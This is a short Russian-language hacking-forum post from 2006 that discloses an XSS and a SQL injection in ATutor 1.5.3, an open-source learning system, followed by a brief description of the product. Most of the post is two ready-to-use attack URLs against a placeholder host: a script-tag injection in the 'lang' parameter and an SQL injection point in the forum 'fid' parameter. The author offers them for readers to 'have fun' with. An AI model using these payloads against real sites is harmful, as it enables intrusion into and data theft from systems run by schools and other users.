Показать сообщение отдельно

XSS и SQL injection на ATutor 1.5.3
  #1  
Старый 10.07.2006, 19:20
Dracula4ever
Постоянный
Регистрация: 08.05.2006
Сообщений: 559
Провел на форуме:
1593567

Репутация: 354


Smile XSS и SQL injection на ATutor 1.5.3

ATutor 1.5.3 (http://www.atutor.ca)



(1)...:XSS...:

http://TheSite.ru/documentation/index_list.php?lang="><script>alert(/тупой инклуд/)</script>



(1)...:SQL injection...:

http://TheSite.ru/forum/index.php?fid=-1[ваш SQL код]



Я думаю что вы теперь сможете вовесилиться.


P.S.
Для тех кто не знает что такое ATutor тогда ATutor является бесплатной Open Source основанной на Web Системой Управления Контентом Обучения разработанной с возможностью обеспечения доступа и адаптации по Вашему желанию.
 
Ответить с цитированием